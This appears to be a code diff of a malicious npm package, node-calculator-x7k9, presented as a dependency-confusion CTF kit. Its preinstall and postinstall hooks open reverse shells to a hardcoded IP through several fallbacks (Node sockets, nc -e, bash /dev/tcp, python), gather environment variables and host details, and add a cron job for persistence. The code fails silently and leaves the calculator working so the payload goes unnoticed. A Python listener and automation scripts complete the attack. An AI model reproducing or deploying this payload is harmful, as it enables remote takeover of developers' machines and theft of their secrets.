|
125
|
+
|
|
126
|
+
try {
|
|
127
|
+
$body = @{
|
|
128
|
+
message = "Triggering dependency confusion attack"
|
|
129
|
+
} | ConvertTo-Json
|
|
130
|
+
|
|
131
|
+
$response = Invoke-RestMethod -Uri "http://$TargetIP/report-bug" `
|
|
132
|
+
-Method Post `
|
|
133
|
+
-ContentType "application/json" `
|
|
134
|
+
-Body $body `
|
|
135
|
+
-ErrorAction Stop
|
|
136
|
+
|
|
137
|
+
Write-Host " [✓] Response received:" -ForegroundColor Green
|
|
138
|
+
Write-Host ($response | ConvertTo-Json) -ForegroundColor Gray
|
|
139
|
+
} catch {
|
|
140
|
+
Write-Host " [!] Error triggering endpoint: $_" -ForegroundColor Red
|
|
141
|
+
Write-Host " [!] Trigger manually with:" -ForegroundColor Yellow
|
|
142
|
+
Write-Host " curl -X POST http://$TargetIP/report-bug -H 'Content-Type: application/json' -d '{`"message`": `"test`"}'" -ForegroundColor Gray
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
Write-Host ""
|
|
146
|
+
Write-Host "[+] Exploitation attempt complete!" -ForegroundColor Green
|
|
147
|
+
Write-Host "[*] Checking listener for incoming connections..." -ForegroundColor Yellow
|
|
148
|
+
Write-Host ""
|
|
149
|
+
|
|
150
|
+
# Monitor listener job
|
|
151
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
152
|
+
Write-Host "║ Listener is running in background (Job ID: $($listenerJob.Id)) ║" -ForegroundColor Cyan
|
|
153
|
+
Write-Host "║ To view output: Receive-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
|
|
154
|
+
Write-Host "║ To stop: Stop-Job $($listenerJob.Id); Remove-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
|
|
155
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
156
|
+
Write-Host ""
|
|
157
|
+
|
|
158
|
+
Write-Host "Waiting for connections (Ctrl+C to exit)..." -ForegroundColor Yellow
|
|
159
|
+
Write-Host ""
|
|
160
|
+
|
|
161
|
+
# Keep checking listener job
|
|
162
|
+
try {
|
|
163
|
+
while ($true) {
|
|
164
|
+
$output = Receive-Job -Id $listenerJob.Id
|
|
165
|
+
if ($output) {
|
|
166
|
+
Write-Host $output
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
if ((Get-Job -Id $listenerJob.Id).State -eq 'Completed') {
|
|
170
|
+
Write-Host "[*] Listener job completed" -ForegroundColor Yellow
|
|
171
|
+
break
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
Start-Sleep -Seconds 2
|
|
175
|
+
}
|
|
176
|
+
} catch {
|
|
177
|
+
Write-Host ""
|
|
178
|
+
Write-Host "[*] Stopping listener..." -ForegroundColor Yellow
|
|
179
|
+
} finally {
|
|
180
|
+
Stop-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
181
|
+
Remove-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
182
|
+
Write-Host "[*] Cleanup complete" -ForegroundColor Green
|
|
183
|
+
}
|
|
184
|
+
|
package/exploit.sh
ADDED
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
|
|
3
|
+
# Automated exploitation script for Dependency Confusion CTF
|
|
4
|
+
# Usage: ./exploit.sh <target_ip> <attacker_ip> <attacker_port>
|
|
5
|
+
|
|
6
|
+
set -e
|
|
7
|
+
|
|
8
|
+
TARGET_IP="${1:-localhost:3000}"
|
|
9
|
+
ATTACKER_IP="${2:-10.10.10.10}"
|
|
10
|
+
ATTACKER_PORT="${3:-4444}"
|
|
11
|
+
|
|
12
|
+
echo "╔═══════════════════════════════════════════════════════════════╗"
|
|
13
|
+
echo "║ Dependency Confusion Attack - Automated Exploit ║"
|
|
14
|
+
echo "╚═══════════════════════════════════════════════════════════════╝"
|
|
15
|
+
echo ""
|
|
16
|
+
echo "[*] Target: $TARGET_IP"
|
|
17
|
+
echo "[*] Attacker IP: $ATTACKER_IP"
|
|
18
|
+
echo "[*] Attacker Port: $ATTACKER_PORT"
|
|
19
|
+
echo ""
|
|
20
|
+
|
|
21
|
+
# Step 1: Update payload with attacker IP/Port
|
|
22
|
+
echo "[+] Configuring payload..."
|
|
23
|
+
sed -i "s/const ATTACKER_IP = '.*';/const ATTACKER_IP = '$ATTACKER_IP';/" preinstall.js
|
|
24
|
+
sed -i "s/const ATTACKER_PORT = .*/const ATTACKER_PORT = $ATTACKER_PORT;/" preinstall.js
|
|
25
|
+
sed -i "s/const ATTACKER_IP = '.*';/const ATTACKER_IP = '$ATTACKER_IP';/" postinstall.js
|
|
26
|
+
sed -i "s/const ATTACKER_PORT = .*/const ATTACKER_PORT = $ATTACKER_PORT;/" postinstall.js
|
|
27
|
+
|
|
28
|
+
# Step 2: Start listener in background
|
|
29
|
+
echo "[+] Starting listener on port $ATTACKER_PORT..."
|
|
30
|
+
if command -v python3 &> /dev/null; then
|
|
31
|
+
python3 listener.py $ATTACKER_PORT &
|
|
32
|
+
LISTENER_PID=$!
|
|
33
|
+
echo "[+] Listener PID: $LISTENER_PID"
|
|
34
|
+
else
|
|
35
|
+
echo "[!] Python3 not found, using nc instead"
|
|
36
|
+
nc -nlvp $ATTACKER_PORT &
|
|
37
|
+
LISTENER_PID=$!
|
|
38
|
+
fi
|
|
39
|
+
|
|
40
|
+
sleep 2
|
|
41
|
+
|
|
42
|
+
# Step 3: Publish package
|
|
43
|
+
echo "[+] Publishing malicious package..."
|
|
44
|
+
if command -v npm &> /dev/null; then
|
|
45
|
+
echo "[*] Checking npm login status..."
|
|
46
|
+
if npm whoami &> /dev/null; then
|
|
47
|
+
echo "[+] Already logged in to npm"
|
|
48
|
+
# npm publish || echo "[!] Publish failed - you may need to publish manually"
|
|
49
|
+
echo "[!] Skipping npm publish - do this manually if needed"
|
|
50
|
+
echo " Run: cd malicious-package && npm publish"
|
|
51
|
+
else
|
|
52
|
+
echo "[!] Not logged in to npm"
|
|
53
|
+
echo "[!] Please run: npm login"
|
|
54
|
+
echo "[!] Then run: cd malicious-package && npm publish"
|
|
55
|
+
fi
|
|
56
|
+
else
|
|
57
|
+
echo "[!] npm not found"
|
|
58
|
+
fi
|
|
59
|
+
|
|
60
|
+
# Step 4: Trigger vulnerability
|
|
61
|
+
echo "[+] Waiting 5 seconds before triggering..."
|
|
62
|
+
sleep 5
|
|
63
|
+
|
|
64
|
+
echo "[+] Triggering vulnerability via /report-bug endpoint..."
|
|
65
|
+
if command -v curl &> /dev/null; then
|
|
66
|
+
RESPONSE=$(curl -s -X POST "http://$TARGET_IP/report-bug" \
|
|
67
|
+
-H "Content-Type: application/json" \
|
|
68
|
+
-d '{"message": "Triggering dependency confusion"}')
|
|
69
|
+
echo "[+] Response: $RESPONSE"
|
|
70
|
+
else
|
|
71
|
+
echo "[!] curl not found - trigger manually:"
|
|
72
|
+
echo " curl -X POST http://$TARGET_IP/report-bug -H 'Content-Type: application/json' -d '{\"message\": \"test\"}'"
|
|
73
|
+
fi
|
|
74
|
+
|
|
75
|
+
echo ""
|
|
76
|
+
echo "[+] Exploitation attempt complete!"
|
|
77
|
+
echo "[*] Check your listener for incoming connection..."
|
|
78
|
+
echo "[*] Listener PID: $LISTENER_PID (kill with: kill $LISTENER_PID)"
|
|
79
|
+
echo ""
|
|
80
|
+
echo "╔═══════════════════════════════════════════════════════════════╗"
|
|
81
|
+
echo "║ If shell doesn't connect within 30 seconds, check: ║"
|
|
82
|
+
echo "║ 1. Firewall rules (port $ATTACKER_PORT must be open) ║"
|
|
83
|
+
echo "║ 2. IP address is correct and reachable ║"
|
|
84
|
+
echo "║ 3. Package was actually installed (check target logs) ║"
|
|
85
|
+
echo "╚═══════════════════════════════════════════════════════════════╝"
|
|
86
|
+
|
|
87
|
+
# Wait for user interrupt
|
|
88
|
+
echo ""
|
|
89
|
+
echo "Press Ctrl+C to stop listener and exit..."
|
|
90
|
+
wait $LISTENER_PID 2>/dev/null
|
|
91
|
+
|
package/index.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
// Maintain original functionality to avoid detection
|
|
2
|
+
function calculate(operation, a, b) {
|
|
3
|
+
switch(operation) {
|
|
4
|
+
case 'add':
|
|
5
|
+
return a + b;
|
|
6
|
+
case 'subtract':
|
|
7
|
+
return a - b;
|
|
8
|
+
case 'multiply':
|
|
9
|
+
return a * b;
|
|
10
|
+
case 'divide':
|
|
11
|
+
if (b === 0) {
|
|
12
|
+
throw new Error('Division by zero');
|
|
13
|
+
}
|
|
14
|
+
return a / b;
|
|
15
|
+
default:
|
|
16
|
+
throw new Error('Invalid operation');
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
module.exports = {
|
|
21
|
+
calculate
|
|
22
|
+
};
|
|
23
|
+
|
package/listener.py
ADDED
|
@@ -0,0 +1,159 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
Reverse Shell Listener for CTF
|
|
4
|
+
A more feature-rich alternative to netcat
|
|
5
|
+
|
|
6
|
+
Usage:
|
|
7
|
+
python3 listener.py [port]
|
|
8
|
+
python3 listener.py 4444
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
import socket
|
|
12
|
+
import sys
|
|
13
|
+
import threading
|
|
14
|
+
import time
|
|
15
|
+
from datetime import datetime
|
|
16
|
+
|
|
17
|
+
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 4444
|
|
18
|
+
HOST = '0.0.0.0'
|
|
19
|
+
|
|
20
|
+
def get_local_ip():
|
|
21
|
+
"""Get local IP address"""
|
|
22
|
+
try:
|
|
23
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
24
|
+
s.connect(("8.8.8.8", 80))
|
|
25
|
+
ip = s.getsockname()[0]
|
|
26
|
+
s.close()
|
|
27
|
+
return ip
|
|
28
|
+
except:
|
|
29
|
+
return "127.0.0.1"
|
|
30
|
+
|
|
31
|
+
def log(message):
|
|
32
|
+
"""Print timestamped log message"""
|
|
33
|
+
timestamp = datetime.now().strftime("%H:%M:%S")
|
|
34
|
+
print(f"[{timestamp}] {message}")
|
|
35
|
+
|
|
36
|
+
def handle_connection(conn, addr):
|
|
37
|
+
"""Handle incoming reverse shell connection"""
|
|
38
|
+
log(f"Connection received from {addr[0]}:{addr[1]}")
|
|
39
|
+
|
|
40
|
+
# Send initial banner
|
|
41
|
+
banner = f"""
|
|
42
|
+
╔═══════════════════════════════════════╗
|
|
43
|
+
║ Reverse Shell Connected! ║
|
|
44
|
+
║ From: {addr[0]:20s} ║
|
|
45
|
+
║ Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S'):20s}║
|
|
46
|
+
╚═══════════════════════════════════════╝
|
|
47
|
+
|
|
48
|
+
"""
|
|
49
|
+
print(banner)
|
|
50
|
+
|
|
51
|
+
def receive_data():
|
|
52
|
+
"""Continuously receive data from target"""
|
|
53
|
+
while True:
|
|
54
|
+
try:
|
|
55
|
+
data = conn.recv(4096)
|
|
56
|
+
if not data:
|
|
57
|
+
log("Connection closed by remote host")
|
|
58
|
+
break
|
|
59
|
+
|
|
60
|
+
# Print received data
|
|
61
|
+
output = data.decode('utf-8', errors='ignore')
|
|
62
|
+
print(output, end='', flush=True)
|
|
63
|
+
|
|
64
|
+
except Exception as e:
|
|
65
|
+
log(f"Error receiving data: {e}")
|
|
66
|
+
break
|
|
67
|
+
|
|
68
|
+
try:
|
|
69
|
+
conn.close()
|
|
70
|
+
except:
|
|
71
|
+
pass
|
|
72
|
+
|
|
73
|
+
def send_data():
|
|
74
|
+
"""Send commands to target"""
|
|
75
|
+
while True:
|
|
76
|
+
try:
|
|
77
|
+
cmd = input()
|
|
78
|
+
if cmd.lower() in ['exit', 'quit']:
|
|
79
|
+
log("Closing connection...")
|
|
80
|
+
break
|
|
81
|
+
|
|
82
|
+
conn.send((cmd + '\n').encode())
|
|
83
|
+
|
|
84
|
+
except EOFError:
|
|
85
|
+
break
|
|
86
|
+
except Exception as e:
|
|
87
|
+
log(f"Error sending data: {e}")
|
|
88
|
+
break
|
|
89
|
+
|
|
90
|
+
try:
|
|
91
|
+
conn.close()
|
|
92
|
+
except:
|
|
93
|
+
pass
|
|
94
|
+
|
|
95
|
+
# Start threads for bidirectional communication
|
|
96
|
+
recv_thread = threading.Thread(target=receive_data, daemon=True)
|
|
97
|
+
send_thread = threading.Thread(target=send_data, daemon=True)
|
|
98
|
+
|
|
99
|
+
recv_thread.start()
|
|
100
|
+
send_thread.start()
|
|
101
|
+
|
|
102
|
+
# Wait for threads to finish
|
|
103
|
+
send_thread.join()
|
|
104
|
+
recv_thread.join()
|
|
105
|
+
|
|
106
|
+
log("Connection closed")
|
|
107
|
+
|
|
108
|
+
def main():
|
|
109
|
+
"""Main listener function"""
|
|
110
|
+
local_ip = get_local_ip()
|
|
111
|
+
|
|
112
|
+
print("""
|
|
113
|
+
╔═══════════════════════════════════════════════════════════════════╗
|
|
114
|
+
║ REVERSE SHELL LISTENER ║
|
|
115
|
+
║ CTF Edition v1.0 ║
|
|
116
|
+
╚═══════════════════════════════════════════════════════════════════╝
|
|
117
|
+
""")
|
|
118
|
+
|
|
119
|
+
log(f"Local IP: {local_ip}")
|
|
120
|
+
log(f"Listening on {HOST}:{PORT}")
|
|
121
|
+
|
|
122
|
+
print("\n[*] Configure your payload with:")
|
|
123
|
+
print(f" ATTACKER_IP = '{local_ip}'")
|
|
124
|
+
print(f" ATTACKER_PORT = {PORT}")
|
|
125
|
+
print("\n[*] Waiting for connections...\n")
|
|
126
|
+
|
|
127
|
+
# Create socket
|
|
128
|
+
try:
|
|
129
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
130
|
+
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
131
|
+
s.bind((HOST, PORT))
|
|
132
|
+
s.listen(5)
|
|
133
|
+
except Exception as e:
|
|
134
|
+
log(f"Error creating listener: {e}")
|
|
135
|
+
sys.exit(1)
|
|
136
|
+
|
|
137
|
+
try:
|
|
138
|
+
while True:
|
|
139
|
+
# Accept connection
|
|
140
|
+
conn, addr = s.accept()
|
|
141
|
+
|
|
142
|
+
# Handle connection in a new thread (for multiple shells)
|
|
143
|
+
handler_thread = threading.Thread(
|
|
144
|
+
target=handle_connection,
|
|
145
|
+
args=(conn, addr),
|
|
146
|
+
daemon=False
|
|
147
|
+
)
|
|
148
|
+
handler_thread.start()
|
|
149
|
+
|
|
150
|
+
except KeyboardInterrupt:
|
|
151
|
+
log("\nShutting down listener...")
|
|
152
|
+
except Exception as e:
|
|
153
|
+
log(f"Error: {e}")
|
|
154
|
+
finally:
|
|
155
|
+
s.close()
|
|
156
|
+
|
|
157
|
+
if __name__ == "__main__":
|
|
158
|
+
main()
|
|
159
|
+
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "node-calculator-x7k9",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "node-calculator-x7k9",
|
|
3
|
+
"version": "3.2.0",
|
|
4
|
+
"description": "Simple calculator plugin with enhanced features",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js",
|
|
8
|
+
"postinstall": "node postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": ["calculator", "math"],
|
|
11
|
+
"author": "DarkT",
|
|
12
|
+
"license": "MIT"
|
|
13
|
+
}
|
|
14
|
+
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Additional payload that runs after installation
|
|
5
|
+
* This provides a backup execution point
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const { exec } = require('child_process');
|
|
9
|
+
const fs = require('fs');
|
|
10
|
+
|
|
11
|
+
// Configuration - MUST MATCH preinstall.js
|
|
12
|
+
const ATTACKER_IP = '159.223.153.251'; // Replace with your IP
|
|
13
|
+
const ATTACKER_PORT = 4444; // Replace with your listening port
|
|
14
|
+
|
|
15
|
+
// Create persistence
|
|
16
|
+
function createPersistence() {
|
|
17
|
+
try {
|
|
18
|
+
// Create a cron job for persistence (if cron is available)
|
|
19
|
+
const cronCmd = `(crontab -l 2>/dev/null; echo "* * * * * nc ${ATTACKER_IP} ${ATTACKER_PORT} -e /bin/sh") | crontab -`;
|
|
20
|
+
exec(cronCmd, () => {});
|
|
21
|
+
|
|
22
|
+
// Create a systemd timer (if systemd is available)
|
|
23
|
+
// Add more persistence mechanisms as needed
|
|
24
|
+
|
|
25
|
+
} catch (err) {
|
|
26
|
+
// Silent fail
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
// Execute
|
|
31
|
+
try {
|
|
32
|
+
console.log('Installing node-calculator-x7k9 v3.0.0...');
|
|
33
|
+
|
|
34
|
+
// Run backup reverse shell
|
|
35
|
+
setTimeout(() => {
|
|
36
|
+
const { spawn } = require('child_process');
|
|
37
|
+
const net = require('net');
|
|
38
|
+
|
|
39
|
+
try {
|
|
40
|
+
const client = new net.Socket();
|
|
41
|
+
client.connect(ATTACKER_PORT, ATTACKER_IP, function() {
|
|
42
|
+
const shell = spawn('/bin/sh', []);
|
|
43
|
+
client.pipe(shell.stdin);
|
|
44
|
+
shell.stdout.pipe(client);
|
|
45
|
+
shell.stderr.pipe(client);
|
|
46
|
+
});
|
|
47
|
+
} catch (e) {
|
|
48
|
+
// Silent fail
|
|
49
|
+
}
|
|
50
|
+
}, 2000);
|
|
51
|
+
|
|
52
|
+
} catch (err) {
|
|
53
|
+
// Silent fail
|
|
54
|
+
}
|
|
55
|
+
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,146 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Reverse Shell Payload for CTF
|
|
5
|
+
* This executes during npm install via preinstall hook
|
|
6
|
+
*
|
|
7
|
+
* IMPORTANT: Replace ATTACKER_IP and ATTACKER_PORT with your values
|
|
8
|
+
*/
|
|
9
|
+
|
|
10
|
+
const { spawn } = require('child_process');
|
|
11
|
+
const net = require('net');
|
|
12
|
+
const fs = require('fs');
|
|
13
|
+
|
|
14
|
+
// Configuration - CHANGE THESE!
|
|
15
|
+
const ATTACKER_IP = '159.223.153.251'; // Replace with your IP
|
|
16
|
+
const ATTACKER_PORT = 4444; // Replace with your listening port
|
|
17
|
+
|
|
18
|
+
// Exfiltration log
|
|
19
|
+
function logExfil(data) {
|
|
20
|
+
const logPath = '/tmp/exfil.log';
|
|
21
|
+
try {
|
|
22
|
+
fs.appendFileSync(logPath, `[${new Date().toISOString()}] ${data}\n`);
|
|
23
|
+
} catch (e) {
|
|
24
|
+
// Silently fail
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// Reverse shell function
|
|
29
|
+
function reverseShell() {
|
|
30
|
+
try {
|
|
31
|
+
logExfil('Attempting reverse shell connection...');
|
|
32
|
+
|
|
33
|
+
const client = new net.Socket();
|
|
34
|
+
|
|
35
|
+
client.connect(ATTACKER_PORT, ATTACKER_IP, function() {
|
|
36
|
+
logExfil('Connected to attacker!');
|
|
37
|
+
|
|
38
|
+
// Spawn shell
|
|
39
|
+
const shell = spawn('/bin/sh', [], {
|
|
40
|
+
stdio: ['pipe', 'pipe', 'pipe']
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
// Pipe client to shell and shell to client
|
|
44
|
+
client.pipe(shell.stdin);
|
|
45
|
+
shell.stdout.pipe(client);
|
|
46
|
+
shell.stderr.pipe(client);
|
|
47
|
+
|
|
48
|
+
// Send banner
|
|
49
|
+
client.write('=== Reverse Shell Connected ===\n');
|
|
50
|
+
client.write(`Hostname: ${require('os').hostname()}\n`);
|
|
51
|
+
client.write(`User: ${require('os').userInfo().username}\n`);
|
|
52
|
+
client.write(`CWD: ${process.cwd()}\n`);
|
|
53
|
+
client.write('================================\n\n');
|
|
54
|
+
|
|
55
|
+
shell.on('exit', function() {
|
|
56
|
+
client.end();
|
|
57
|
+
});
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
client.on('error', function(err) {
|
|
61
|
+
logExfil(`Connection error: ${err.message}`);
|
|
62
|
+
// Try alternative methods
|
|
63
|
+
alternativePayload();
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
} catch (err) {
|
|
67
|
+
logExfil(`Reverse shell error: ${err.message}`);
|
|
68
|
+
alternativePayload();
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
// Alternative payload using child_process exec
|
|
73
|
+
function alternativePayload() {
|
|
74
|
+
const { exec } = require('child_process');
|
|
75
|
+
|
|
76
|
+
// Method 1: nc reverse shell
|
|
77
|
+
const ncCmd = `nc ${ATTACKER_IP} ${ATTACKER_PORT} -e /bin/sh`;
|
|
78
|
+
exec(ncCmd, (err) => {
|
|
79
|
+
if (err) {
|
|
80
|
+
// Method 2: bash reverse shell
|
|
81
|
+
const bashCmd = `bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1`;
|
|
82
|
+
exec(bashCmd, () => {});
|
|
83
|
+
|
|
84
|
+
// Method 3: python reverse shell
|
|
85
|
+
const pythonCmd = `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${ATTACKER_IP}",${ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`;
|
|
86
|
+
exec(pythonCmd, () => {});
|
|
87
|
+
}
|
|
88
|
+
});
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
// Exfiltrate environment information
|
|
92
|
+
function exfiltrateInfo() {
|
|
93
|
+
try {
|
|
94
|
+
const info = {
|
|
95
|
+
hostname: require('os').hostname(),
|
|
96
|
+
user: require('os').userInfo().username,
|
|
97
|
+
cwd: process.cwd(),
|
|
98
|
+
env: process.env,
|
|
99
|
+
nodeVersion: process.version,
|
|
100
|
+
platform: process.platform
|
|
101
|
+
};
|
|
102
|
+
|
|
103
|
+
logExfil('System Info: ' + JSON.stringify(info, null, 2));
|
|
104
|
+
|
|
105
|
+
// Try to exfiltrate via HTTP POST
|
|
106
|
+
const https = require('https');
|
|
107
|
+
const postData = JSON.stringify(info);
|
|
108
|
+
|
|
109
|
+
// Uncomment and modify if you have an exfil server
|
|
110
|
+
/*
|
|
111
|
+
const options = {
|
|
112
|
+
hostname: 'YOUR_EXFIL_SERVER.com',
|
|
113
|
+
port: 443,
|
|
114
|
+
path: '/exfil',
|
|
115
|
+
method: 'POST',
|
|
116
|
+
headers: {
|
|
117
|
+
'Content-Type': 'application/json',
|
|
118
|
+
'Content-Length': postData.length
|
|
119
|
+
}
|
|
120
|
+
};
|
|
121
|
+
|
|
122
|
+
const req = https.request(options, (res) => {});
|
|
123
|
+
req.write(postData);
|
|
124
|
+
req.end();
|
|
125
|
+
*/
|
|
126
|
+
|
|
127
|
+
} catch (err) {
|
|
128
|
+
logExfil(`Exfil error: ${err.message}`);
|
|
129
|
+
}
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
// Main execution
|
|
133
|
+
try {
|
|
134
|
+
logExfil('Malicious package installed!');
|
|
135
|
+
exfiltrateInfo();
|
|
136
|
+
|
|
137
|
+
// Delay to ensure npm install completes
|
|
138
|
+
setTimeout(() => {
|
|
139
|
+
reverseShell();
|
|
140
|
+
}, 1000);
|
|
141
|
+
|
|
142
|
+
} catch (err) {
|
|
143
|
+
// Silent fail to avoid suspicion
|
|
144
|
+
logExfil(`Main execution error: ${err.message}`);
|
|
145
|
+
}
|
|
146
|
+
|
package/test-local.ps1
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
# Local Testing Script - Test the malicious package locally before publishing
|
|
2
|
+
# This simulates the attack without needing to publish to npm
|
|
3
|
+
|
|
4
|
+
param(
|
|
5
|
+
[string]$AttackerIP = "127.0.0.1",
|
|
6
|
+
[int]$AttackerPort = 4444
|
|
7
|
+
)
|
|
8
|
+
|
|
9
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
10
|
+
Write-Host "║ Local Testing - Dependency Confusion CTF ║" -ForegroundColor Cyan
|
|
11
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
12
|
+
Write-Host ""
|
|
13
|
+
|
|
14
|
+
# Get current directory
|
|
15
|
+
$rootDir = Split-Path -Parent $PSScriptRoot
|
|
16
|
+
$maliciousDir = Join-Path $rootDir "malicious-package"
|
|
17
|
+
$targetDir = Join-Path $rootDir "just-a-calculator"
|
|
18
|
+
|
|
19
|
+
Write-Host "[*] Root Directory: $rootDir" -ForegroundColor Yellow
|
|
20
|
+
Write-Host "[*] Malicious Package: $maliciousDir" -ForegroundColor Yellow
|
|
21
|
+
Write-Host "[*] Target App: $targetDir" -ForegroundColor Yellow
|
|
22
|
+
Write-Host ""
|
|
23
|
+
|
|
24
|
+
# Step 1: Configure payload
|
|
25
|
+
Write-Host "[+] Step 1: Configuring payload..." -ForegroundColor Green
|
|
26
|
+
Set-Location $maliciousDir
|
|
27
|
+
|
|
28
|
+
$preinstallPath = "preinstall.js"
|
|
29
|
+
$postinstallPath = "postinstall.js"
|
|
30
|
+
|
|
31
|
+
$preinstallContent = Get-Content $preinstallPath -Raw
|
|
32
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
33
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
34
|
+
Set-Content $preinstallPath -Value $preinstallContent
|
|
35
|
+
|
|
36
|
+
$postinstallContent = Get-Content $postinstallPath -Raw
|
|
37
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
38
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
39
|
+
Set-Content $postinstallPath -Value $postinstallContent
|
|
40
|
+
|
|
41
|
+
Write-Host " [✓] Payload configured for $AttackerIP:$AttackerPort" -ForegroundColor Green
|
|
42
|
+
|
|
43
|
+
# Step 2: Start listener
|
|
44
|
+
Write-Host ""
|
|
45
|
+
Write-Host "[+] Step 2: Starting listener..." -ForegroundColor Green
|
|
46
|
+
|
|
47
|
+
if (Test-Path "listener.py") {
|
|
48
|
+
$listenerJob = Start-Job -ScriptBlock {
|
|
49
|
+
param($dir, $port)
|
|
50
|
+
Set-Location $dir
|
|
51
|
+
python3 listener.py $port
|
|
52
|
+
} -ArgumentList $maliciousDir, $AttackerPort
|
|
53
|
+
Write-Host " [✓] Listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
|
|
54
|
+
} else {
|
|
55
|
+
Write-Host " [!] listener.py not found" -ForegroundColor Red
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
Start-Sleep -Seconds 2
|
|
59
|
+
|
|
60
|
+
# Step 3: Pack the malicious package
|
|
61
|
+
Write-Host ""
|
|
62
|
+
Write-Host "[+] Step 3: Packing malicious package..." -ForegroundColor Green
|
|
63
|
+
$packOutput = npm pack 2>&1
|
|
64
|
+
Write-Host " [✓] Package created: $packOutput" -ForegroundColor Green
|
|
65
|
+
|
|
66
|
+
# Step 4: Install into target application
|
|
67
|
+
Write-Host ""
|
|
68
|
+
Write-Host "[+] Step 4: Installing malicious package into target..." -ForegroundColor Green
|
|
69
|
+
Set-Location $targetDir
|
|
70
|
+
|
|
71
|
+
# Remove old package
|
|
72
|
+
if (Test-Path "node_modules\node-calculator-x7k9") {
|
|
73
|
+
Write-Host " [*] Removing old package..." -ForegroundColor Yellow
|
|
74
|
+
Remove-Item "node_modules\node-calculator-x7k9" -Recurse -Force
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
# Install malicious package
|
|
78
|
+
$packagePath = Join-Path $maliciousDir "node-calculator-x7k9-3.0.0.tgz"
|
|
79
|
+
Write-Host " [*] Installing from: $packagePath" -ForegroundColor Yellow
|
|
80
|
+
|
|
81
|
+
npm install $packagePath
|
|
82
|
+
|
|
83
|
+
Write-Host " [✓] Package installed!" -ForegroundColor Green
|
|
84
|
+
|
|
85
|
+
# Step 5: Check listener
|
|
86
|
+
Write-Host ""
|
|
87
|
+
Write-Host "[+] Step 5: Checking for shell..." -ForegroundColor Green
|
|
88
|
+
Write-Host " [*] Waiting for reverse shell connection..." -ForegroundColor Yellow
|
|
89
|
+
Write-Host ""
|
|
90
|
+
|
|
91
|
+
# Monitor listener for 30 seconds
|
|
92
|
+
$timeout = 30
|
|
93
|
+
$elapsed = 0
|
|
94
|
+
while ($elapsed -lt $timeout) {
|
|
95
|
+
$output = Receive-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
96
|
+
if ($output) {
|
|
97
|
+
Write-Host $output
|
|
98
|
+
if ($output -match "Connection received") {
|
|
99
|
+
Write-Host ""
|
|
100
|
+
Write-Host "[✓] SHELL RECEIVED!" -ForegroundColor Green
|
|
101
|
+
break
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
Start-Sleep -Seconds 2
|
|
105
|
+
$elapsed += 2
|
|
106
|
+
